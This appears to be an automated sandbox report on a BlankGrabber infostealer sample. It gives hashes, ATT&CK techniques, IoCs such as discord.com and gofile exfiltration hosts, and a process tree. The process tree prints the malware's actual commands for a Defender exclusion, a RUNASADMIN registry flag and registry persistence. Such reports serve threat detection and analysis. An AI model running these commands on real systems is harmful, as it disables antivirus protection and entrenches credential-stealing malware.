blankgrabber | bdc7245d263a4e43eba5e5c5011034af8ca0871b051cf1161bd96b18725b7940

Analysis

max time kernel
150s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/07/2026, 04:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Size 15.8MB
Sample260708-eyexwsax5x
SHA256 bdc7245d263a4e43eba5e5c5011034af8ca0871b051cf1161bd96b18725b7940
MD5 9e4e99af197a7fef9acced7df0a9b00c
SHA1 00dbea337eca9e43b5ed5e2dd7393f33423fa3a0
SHA512 3e4e2e4a242897518c0e2cf4bbfb892dbb2d6699ae15103e23c0b3cb0eb4ac563857e82e738bd9f6c0061d1d7edccf0a08803f993c75f26321e6f6ffbd1bf2b2
SSDEEP 393216:SeZ4sjq8Z/QSBoGD+P69h1CEeN0L0mrH4/PdyHsnvDwHReQx54:SrsjZSPuCHNy0mrYNwgEHgL
TLSH
T148F6337613E144B6F0EA653EAAB5C647E3A13A115FB2E6DF0794031C1C2BAA4DC36371
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution blankgrabber persistence privilege_escalation pyinstaller spyware stealer upx

Malware Config

Signatures

Family: blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
stealer blankgrabber

A stealer written in Python and packaged with Pyinstaller 1 IoCs

resource	yara_rule
behavioral2/files/0x000f00000001c5f9-202.dat	blankgrabber_exe

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe\""	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2912	powershell.exe
716	powershell.exe
712	powershell.exe
3412	powershell.exe
5084	powershell.exe
5108	powershell.exe
716	powershell.exe
3412	powershell.exe
5084	powershell.exe
2304	powershell.exe
3456	powershell.exe
1292	powershell.exe
2912	powershell.exe
712	powershell.exe
2388	powershell.exe
1684	powershell.exe

Clipboard Data 1 TTPs 1 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1288	cmd.exe

Executes dropped EXE 3 IoCs

pid	Process
2956	fivem-external.exe
1828	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe

Loads dropped DLL 41 IoCs

pid	Process
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
2956	fivem-external.exe
2956	fivem-external.exe
3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe
4540	MicrosoftEdgeUpdate.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-515251955-468707340-1782030364-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe\""	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	api.gofile.io
1	discord.com
21	api.gofile.io
23	discord.com

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
2040	cmd.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2036	cmd.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4984	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2512	cmd.exe
2584	cmd.exe
5220	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c5e0-94.dat	upx
behavioral2/memory/3296-98-0x00007FFDABB00000-0x00007FFDAC209000-memory.dmp	upx
behavioral2/files/0x000600000001b953-100.dat	upx
behavioral2/memory/3296-103-0x00007FFDC26A0000-0x00007FFDC26C9000-memory.dmp	upx
behavioral2/memory/3296-105-0x00007FFDC4290000-0x00007FFDC429F000-memory.dmp	upx
behavioral2/files/0x000600000001b877-106.dat	upx
behavioral2/memory/3296-109-0x00007FFDC2680000-0x00007FFDC269A000-memory.dmp	upx
behavioral2/files/0x000c00000001c594-111.dat	upx
behavioral2/memory/3296-112-0x00007FFDC2650000-0x00007FFDC267C000-memory.dmp	upx
behavioral2/memory/3296-114-0x00007FFDBE6A0000-0x00007FFDBE720000-memory.dmp	upx
behavioral2/files/0x000d00000001c58b-110.dat	upx
behavioral2/files/0x000c00000001c5c4-104.dat	upx
behavioral2/files/0x000c00000001c58f-115.dat	upx
behavioral2/memory/3296-118-0x00007FFDC0DE0000-0x00007FFDC0DFA000-memory.dmp	upx
behavioral2/files/0x000c00000001c58e-117.dat	upx
behavioral2/memory/3296-121-0x00007FFDC3ED0000-0x00007FFDC3EDD000-memory.dmp	upx
behavioral2/files/0x000c00000001c592-120.dat	upx
behavioral2/files/0x001100000001c58a-126.dat	upx
behavioral2/memory/3296-124-0x00007FFDC2B40000-0x00007FFDC2B4F000-memory.dmp	upx
behavioral2/memory/3296-129-0x00007FFDBF6B0000-0x00007FFDBF6C4000-memory.dmp	upx
behavioral2/files/0x000c00000001c5c3-128.dat	upx
behavioral2/memory/3296-131-0x00007FFDABB00000-0x00007FFDAC209000-memory.dmp	upx
behavioral2/memory/3296-132-0x00007FFDAA850000-0x00007FFDAAD83000-memory.dmp	upx
behavioral2/files/0x000c00000001c591-133.dat	upx
behavioral2/memory/3296-137-0x00007FFDBE660000-0x00007FFDBE694000-memory.dmp	upx
behavioral2/files/0x000c00000001c5c5-136.dat	upx
behavioral2/memory/3296-135-0x00007FFDC26A0000-0x00007FFDC26C9000-memory.dmp	upx
behavioral2/memory/3296-139-0x00007FFDB69B0000-0x00007FFDB6A7E000-memory.dmp	upx
behavioral2/files/0x000c00000001c590-142.dat	upx
behavioral2/memory/3296-145-0x00007FFDBE5D0000-0x00007FFDBE5F5000-memory.dmp	upx
behavioral2/files/0x000c00000001c5f3-144.dat	upx
behavioral2/memory/3296-147-0x00007FFDADB40000-0x00007FFDADCCA000-memory.dmp	upx
behavioral2/memory/3296-150-0x00007FFDBF690000-0x00007FFDBF69D000-memory.dmp	upx
behavioral2/files/0x000c00000001c5e3-149.dat	upx
behavioral2/memory/3296-174-0x00007FFDC2B40000-0x00007FFDC2B4F000-memory.dmp	upx
behavioral2/memory/3296-184-0x00007FFDBF6B0000-0x00007FFDBF6C4000-memory.dmp	upx
behavioral2/memory/3296-189-0x00007FFDAA850000-0x00007FFDAAD83000-memory.dmp	upx
behavioral2/files/0x000c00000001c5f5-190.dat	upx
behavioral2/memory/3296-192-0x00007FFDBE660000-0x00007FFDBE694000-memory.dmp	upx
behavioral2/memory/3296-193-0x00007FFDA03E0000-0x00007FFDA049E000-memory.dmp	upx
behavioral2/memory/3296-199-0x00007FFDB69B0000-0x00007FFDB6A7E000-memory.dmp	upx
behavioral2/memory/3296-318-0x00007FFDBE5D0000-0x00007FFDBE5F5000-memory.dmp	upx
behavioral2/memory/3296-321-0x00007FFDA03E0000-0x00007FFDA049E000-memory.dmp	upx
behavioral2/memory/3296-305-0x00007FFDABB00000-0x00007FFDAC209000-memory.dmp	upx
behavioral2/memory/4540-324-0x00007FFD9FBB0000-0x00007FFDA02B9000-memory.dmp	upx
behavioral2/memory/3296-319-0x00007FFDADB40000-0x00007FFDADCCA000-memory.dmp	upx
behavioral2/memory/4540-331-0x00007FFDBEF70000-0x00007FFDBEF7F000-memory.dmp	upx
behavioral2/memory/4540-332-0x00007FFDBD170000-0x00007FFDBD18A000-memory.dmp	upx
behavioral2/memory/4540-333-0x00007FFDBD140000-0x00007FFDBD16C000-memory.dmp	upx
behavioral2/memory/4540-335-0x00007FFDBD120000-0x00007FFDBD13A000-memory.dmp	upx
behavioral2/memory/4540-334-0x00007FFDAC5F0000-0x00007FFDAC670000-memory.dmp	upx
behavioral2/memory/4540-337-0x00007FFDBD7C0000-0x00007FFDBD7CF000-memory.dmp	upx
behavioral2/memory/4540-338-0x00007FFDBC2C0000-0x00007FFDBC2D4000-memory.dmp	upx
behavioral2/memory/4540-336-0x00007FFDBECE0000-0x00007FFDBECED000-memory.dmp	upx
behavioral2/memory/4540-339-0x00007FFD9FBB0000-0x00007FFDA02B9000-memory.dmp	upx
behavioral2/memory/4540-340-0x00007FFDAA310000-0x00007FFDAA843000-memory.dmp	upx
behavioral2/memory/4540-330-0x00007FFDBD190000-0x00007FFDBD1B9000-memory.dmp	upx
behavioral2/memory/4540-341-0x00007FFDBD190000-0x00007FFDBD1B9000-memory.dmp	upx
behavioral2/memory/4540-343-0x00007FFDABA30000-0x00007FFDABAFE000-memory.dmp	upx
behavioral2/memory/4540-342-0x00007FFDAC5B0000-0x00007FFDAC5E4000-memory.dmp	upx
behavioral2/memory/4540-344-0x00007FFDBC290000-0x00007FFDBC2B5000-memory.dmp	upx
behavioral2/memory/4540-345-0x00007FFDAB8A0000-0x00007FFDABA2A000-memory.dmp	upx
behavioral2/memory/4540-346-0x00007FFDBCD50000-0x00007FFDBCD5D000-memory.dmp	upx
behavioral2/memory/4540-358-0x00007FFDAC5B0000-0x00007FFDAC5E4000-memory.dmp	upx

Access Token Manipulation: Create Process with Token 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
5428	cmd.exe
3720	reg.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000f00000001c5f9-202.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5528	PING.EXE
6012	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1360	cmd.exe
1452	netsh.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2704	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4788	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1412	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5528	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2388	schtasks.exe

Suspicious behavior: EnumeratesProcesses 53 IoCs

pid	Process
2912	powershell.exe
2912	powershell.exe
716	powershell.exe
716	powershell.exe
712	powershell.exe
712	powershell.exe
3412	powershell.exe
3412	powershell.exe
2956	fivem-external.exe
2956	fivem-external.exe
3412	powershell.exe
712	powershell.exe
5084	powershell.exe
5084	powershell.exe
5084	powershell.exe
5608	WMIC.exe
5608	WMIC.exe
5608	WMIC.exe
5608	WMIC.exe
2388	powershell.exe
2388	powershell.exe
2304	powershell.exe
2304	powershell.exe
2388	powershell.exe
2304	powershell.exe
3456	powershell.exe
3456	powershell.exe
3456	powershell.exe
1684	powershell.exe
1684	powershell.exe
1684	powershell.exe
5104	WMIC.exe
5104	WMIC.exe
5104	WMIC.exe
5104	WMIC.exe
472	WMIC.exe
472	WMIC.exe
472	WMIC.exe
472	WMIC.exe
2696	WMIC.exe
2696	WMIC.exe
2696	WMIC.exe
2696	WMIC.exe
1292	powershell.exe
1292	powershell.exe
1292	powershell.exe
4788	WMIC.exe
4788	WMIC.exe
4788	WMIC.exe
4788	WMIC.exe
5108	powershell.exe
5108	powershell.exe
5108	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	716	powershell.exe
Token: SeIncreaseQuotaPrivilege	2912	powershell.exe
Token: SeSecurityPrivilege	2912	powershell.exe
Token: SeTakeOwnershipPrivilege	2912	powershell.exe
Token: SeLoadDriverPrivilege	2912	powershell.exe
Token: SeSystemProfilePrivilege	2912	powershell.exe
Token: SeSystemtimePrivilege	2912	powershell.exe
Token: SeProfSingleProcessPrivilege	2912	powershell.exe
Token: SeIncBasePriorityPrivilege	2912	powershell.exe
Token: SeCreatePagefilePrivilege	2912	powershell.exe
Token: SeBackupPrivilege	2912	powershell.exe
Token: SeRestorePrivilege	2912	powershell.exe
Token: SeShutdownPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeSystemEnvironmentPrivilege	2912	powershell.exe
Token: SeRemoteShutdownPrivilege	2912	powershell.exe
Token: SeUndockPrivilege	2912	powershell.exe
Token: SeManageVolumePrivilege	2912	powershell.exe
Token: 33	2912	powershell.exe
Token: 34	2912	powershell.exe
Token: 35	2912	powershell.exe
Token: 36	2912	powershell.exe
Token: SeIncreaseQuotaPrivilege	716	powershell.exe
Token: SeSecurityPrivilege	716	powershell.exe
Token: SeTakeOwnershipPrivilege	716	powershell.exe
Token: SeLoadDriverPrivilege	716	powershell.exe
Token: SeSystemProfilePrivilege	716	powershell.exe
Token: SeSystemtimePrivilege	716	powershell.exe
Token: SeProfSingleProcessPrivilege	716	powershell.exe
Token: SeIncBasePriorityPrivilege	716	powershell.exe
Token: SeCreatePagefilePrivilege	716	powershell.exe
Token: SeBackupPrivilege	716	powershell.exe
Token: SeRestorePrivilege	716	powershell.exe
Token: SeShutdownPrivilege	716	powershell.exe
Token: SeDebugPrivilege	716	powershell.exe
Token: SeSystemEnvironmentPrivilege	716	powershell.exe
Token: SeRemoteShutdownPrivilege	716	powershell.exe
Token: SeUndockPrivilege	716	powershell.exe
Token: SeManageVolumePrivilege	716	powershell.exe
Token: 33	716	powershell.exe
Token: 34	716	powershell.exe
Token: 35	716	powershell.exe
Token: 36	716	powershell.exe
Token: SeDebugPrivilege	712	powershell.exe
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeIncreaseQuotaPrivilege	3412	powershell.exe
Token: SeSecurityPrivilege	3412	powershell.exe
Token: SeTakeOwnershipPrivilege	3412	powershell.exe
Token: SeLoadDriverPrivilege	3412	powershell.exe
Token: SeSystemProfilePrivilege	3412	powershell.exe
Token: SeSystemtimePrivilege	3412	powershell.exe
Token: SeProfSingleProcessPrivilege	3412	powershell.exe
Token: SeIncBasePriorityPrivilege	3412	powershell.exe
Token: SeCreatePagefilePrivilege	3412	powershell.exe
Token: SeBackupPrivilege	3412	powershell.exe
Token: SeRestorePrivilege	3412	powershell.exe
Token: SeShutdownPrivilege	3412	powershell.exe
Token: SeDebugPrivilege	3412	powershell.exe
Token: SeSystemEnvironmentPrivilege	3412	powershell.exe
Token: SeRemoteShutdownPrivilege	3412	powershell.exe
Token: SeUndockPrivilege	3412	powershell.exe
Token: SeManageVolumePrivilege	3412	powershell.exe
Token: 33	3412	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4900 wrote to memory of 3296	4900	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	88
PID 3296 wrote to memory of 5428	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	90
PID 5428 wrote to memory of 3720	5428	cmd.exe	92
PID 3296 wrote to memory of 3048	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	93
PID 3048 wrote to memory of 2912	3048	cmd.exe	95
PID 3296 wrote to memory of 4760	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	96
PID 4760 wrote to memory of 716	4760	cmd.exe	98
PID 3296 wrote to memory of 2956	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	100
PID 3296 wrote to memory of 1504	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	101
PID 3296 wrote to memory of 3352	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	102
PID 1504 wrote to memory of 712	1504	cmd.exe	106
PID 3352 wrote to memory of 3412	3352	cmd.exe	107
PID 3296 wrote to memory of 2512	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	108
PID 2956 wrote to memory of 5820	2956	fivem-external.exe	110
PID 5820 wrote to memory of 4988	5820	cmd.exe	111
PID 5820 wrote to memory of 4812	5820	cmd.exe	187
PID 5820 wrote to memory of 2664	5820	cmd.exe	113
PID 2512 wrote to memory of 4008	2512	cmd.exe	114
PID 3296 wrote to memory of 2584	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	115
PID 2584 wrote to memory of 3676	2584	cmd.exe	117
PID 3296 wrote to memory of 2036	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	118
PID 2036 wrote to memory of 5540	2036	cmd.exe	120
PID 3296 wrote to memory of 1240	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	121
PID 1240 wrote to memory of 2388	1240	cmd.exe	145
PID 3296 wrote to memory of 1848	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	124
PID 1848 wrote to memory of 5084	1848	cmd.exe	126
PID 1828 wrote to memory of 4540	1828	MicrosoftEdgeUpdate.exe	130
PID 3296 wrote to memory of 1128	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	131
PID 3296 wrote to memory of 1288	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	132
PID 3296 wrote to memory of 1536	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	133
PID 3296 wrote to memory of 5876	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	135
PID 3296 wrote to memory of 1360	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	138
PID 3296 wrote to memory of 2348	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	139
PID 3296 wrote to memory of 1456	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	143
PID 1288 wrote to memory of 2388	1288	cmd.exe	145
PID 1536 wrote to memory of 4984	1536	cmd.exe	146
PID 1128 wrote to memory of 5608	1128	cmd.exe	147
PID 5876 wrote to memory of 4532	5876	cmd.exe	148
PID 2348 wrote to memory of 1412	2348	cmd.exe	149
PID 1360 wrote to memory of 1452	1360	cmd.exe	150
PID 1456 wrote to memory of 2304	1456	cmd.exe	151
PID 3296 wrote to memory of 5516	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	152
PID 5516 wrote to memory of 5496	5516	cmd.exe	154
PID 3296 wrote to memory of 2196	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	155
PID 2196 wrote to memory of 3528	2196	cmd.exe	157
PID 3296 wrote to memory of 3276	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	158
PID 3296 wrote to memory of 1480	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	160
PID 3276 wrote to memory of 3456	3276	cmd.exe	162
PID 1480 wrote to memory of 1120	1480	cmd.exe	163
PID 3296 wrote to memory of 4412	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	164
PID 4412 wrote to memory of 1908	4412	cmd.exe	166
PID 3296 wrote to memory of 2040	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	167
PID 2040 wrote to memory of 1684	2040	cmd.exe	169
PID 1684 wrote to memory of 1084	1684	powershell.exe	170
PID 1084 wrote to memory of 6092	1084	csc.exe	171
PID 3296 wrote to memory of 5208	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	172
PID 5208 wrote to memory of 5908	5208	cmd.exe	174
PID 3296 wrote to memory of 804	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	175
PID 804 wrote to memory of 5104	804	cmd.exe	177
PID 3296 wrote to memory of 3720	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	178
PID 3720 wrote to memory of 472	3720	cmd.exe	180
PID 3296 wrote to memory of 4544	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	181
PID 4544 wrote to memory of 2696	4544	cmd.exe	183
PID 3296 wrote to memory of 2572	3296	2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	184

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4008	attrib.exe
3676	attrib.exe
2260	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4900
- C:\Users\Admin\AppData\Local\Temp\2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Temp\2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" /t REG_SZ /d "~ RUNASADMIN" /f"
    3⤵
    - Access Token Manipulation: Create Process with Token
    - Suspicious use of WriteProcessMemory
    PID:5428
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Temp\2026-07-08_9e4e99af197a7fef9acced7df0a9b00c_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" /t REG_SZ /d "~ RUNASADMIN" /f
      4⤵
      Access Token Manipulation: Create Process with Token
      PID:3720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -WindowStyle Hidden -NonInteractive -NoProfile -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\fivem-external""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3048
